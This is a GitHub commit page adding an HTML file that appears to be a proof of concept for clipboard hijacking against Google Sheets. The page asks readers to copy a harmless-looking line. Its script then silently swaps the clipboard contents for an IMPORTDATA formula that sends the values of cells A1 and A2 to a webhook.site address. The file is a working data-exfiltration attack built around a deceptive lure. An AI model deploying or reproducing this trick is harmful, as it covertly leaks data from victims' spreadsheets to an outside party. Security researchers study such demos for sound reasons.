Skip to content

Commit

Permalink
Create sheets.html
Browse files Browse the repository at this point in the history
  • Loading branch information
dxa4481 authored Jan 2, 2024
1 parent 38c2367 commit 7ee453e
Showing 1 changed file with 16 additions and 0 deletions.
16 changes: 16 additions & 0 deletions sheets.html
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
<html>
<body>
Copy the number below and paste it into Google Sheets for totally not evil things to happen.
</br>

<p>echo "not evil"</p>
<script>
document.addEventListener('copy', function(e){
console.log(e);
e.clipboardData.setData('text/plain', '=IMPORTDATA(CONCATENATE("https://webhook.site/fb573b4b-dfaf-4fac-a827-81bd469f76e6?param1=", A1, "&param2=", A2))');
e.preventDefault(); // We want our data, not data from any selection, to be written to the clipboard
});
</script>
</body>

</html>

0 comments on commit 7ee453e

Please sign in to comment.